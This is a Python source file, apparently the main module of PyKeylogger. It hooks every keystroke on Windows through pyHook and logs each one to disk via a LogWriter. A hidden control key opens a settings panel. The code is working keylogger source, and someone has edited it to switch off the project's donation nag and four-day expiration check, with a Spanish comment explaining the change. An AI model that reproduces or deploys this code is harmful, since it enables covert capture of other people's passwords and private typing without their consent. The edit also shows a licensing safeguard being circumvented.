import pyHook
import time
import pythoncom
import sys
import imp # don't need this anymore?
from optparse import OptionParser
import traceback
from logwriter import LogWriter
import version
#import ConfigParser
from configobj import ConfigObj
from validate import Validator
from controlpanel import PyKeyloggerControlPanel
from supportscreen import SupportScreen, ExpirationScreen
import Tkinter, tkMessageBox
import myutils

class KeyLogger:
    ''' Captures all keystrokes, calls LogWriter class to log them to disk
    '''
    def __init__(self): 
        
        self.ParseOptions()
        self.ParseConfigFile()
        self.NagscreenLogic()
        self.hm = pyHook.HookManager()
        self.hm.KeyDown = self.OnKeyboardEvent
    
        if self.settings['General']['Hook Keyboard'] == True:
            self.hm.HookKeyboard()
        #if self.options.hookMouse == True:
        #    self.hm.HookMouse()
        
        self.lw = LogWriter(self.settings, self.cmdoptions) 
        self.panel = False

    def start(self):
        pythoncom.PumpMessages()


    def OnKeyboardEvent(self, event):
        '''This function is the stuff that's supposed to happen when a key is pressed.
        Calls LogWriter.WriteToLogFile with the keystroke properties.
        '''
        self.lw.WriteToLogFile(event)
        
        if event.Key == self.settings['General']['Control Key']:
            if not self.panel:
                self.lw.PrintDebug("starting panel\n")
                self.panel = True
                PyKeyloggerControlPanel(self.cmdoptions, self)
            #~ else:
                #~ print "not starting any panels"
            
        return True
    
    def stop(self):
        '''Exit cleanly.
        '''
        self.lw.stop()
        sys.exit()
    
    def ParseOptions(self):
        '''Read command line options
        '''
        parser = OptionParser(version=version.description + " version " + version.version + " (" + version.url + ").")
        parser.add_option("-d", "--debug", action="store_true", dest="debug", help="debug mode (print output to console instead of the log file) [default: %default]")
        parser.add_option("-c", "--configfile", action="store", dest="configfile", help="filename of the configuration ini file. [default: %default]")
        parser.add_option("-v", "--configval", action="store", dest="configval", help="filename of the configuration validation file. [default: %default]")
        
        parser.set_defaults(debug=False, 
                            configfile="pykeylogger.ini", 
                            configval="pykeylogger.val")
        
        (self.cmdoptions, args) = parser.parse_args()
    
    def ParseConfigFile(self):
        '''Read config file options from .ini file.
        Filename as specified by "--configfile" option, default "pykeylogger.ini".
        Validation file specified by "--configval" option, default "pykeylogger.val".
        
        Give detailed error box and exit if validation on the config file fails.
        '''

        self.settings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False)

        # validate the config file
        errortext="Some of your input contains errors. Detailed error output below.\n\n"
        val = Validator()
        valresult = self.settings.validate(val, preserve_errors=True)
        if valresult != True:
            for section in valresult.keys():
                if valresult[section] != True:
                    sectionval = valresult[section]
                    for key in sectionval.keys():
                        if sectionval[key] != True:
                            errortext += "Error in item \"" + str(key) + "\": " + str(sectionval[key]) + "\n"
            tkMessageBox.showerror("Errors in config file. Exiting.", errortext)
            sys.exit()
        
    def NagscreenLogic(self):
        '''Figure out whether the nagscreen should be shown, and if so, show it.
        '''
        
        # Congratulations, you have found the nag control. See, that wasn't so hard, was it? :)
        # 
        # While I have deliberately made it easy to stop all this nagging and expiration stuff here,
        # and you are quite entitled to doing just that, I would like to take this final moment 
        # and encourage you once more to support the PyKeylogger project by making a donation. 
        
        # Set this to False to get rid of all nagging.
        NagMe = True
        
        #Cambiamos la condicion del if para eliminar el pop up!
        #if NagMe == True:
        if 0 == 1:
            # first, show the support screen
            root=Tkinter.Tk()
            root.geometry("100x100+200+200")
            warn=SupportScreen(root, title="Please Support PyKeylogger", rootx_offset=-20, rooty_offset=-35)
            root.destroy()
            del(warn)
            
            #set the timer if first use
            if myutils.password_recover(self.settings['General']['Usage Time Flag NoDisplay']) == "firstuse":
                self.settings['General']['Usage Time Flag NoDisplay'] = myutils.password_obfuscate(str(time.time()))
                self.settings.write()
            
            # then, see if we have "expired"
            if abs(time.time() - float(myutils.password_recover(self.settings['General']['Usage Time Flag NoDisplay']))) > 345600: #4 days
                root = Tkinter.Tk()
                root.geometry("100x100+200+200")
                warn=ExpirationScreen(root, title="PyKeylogger Has Expired", rootx_offset=-20, rooty_offset=-35)
                root.destroy()
                del(warn)
                sys.exit()
                
if __name__ == '__main__':
    
    kl = KeyLogger()
    kl.start()
    
    #if you want to change keylogger behavior from defaults, modify the .ini file. Also try '-h' for list of command line options.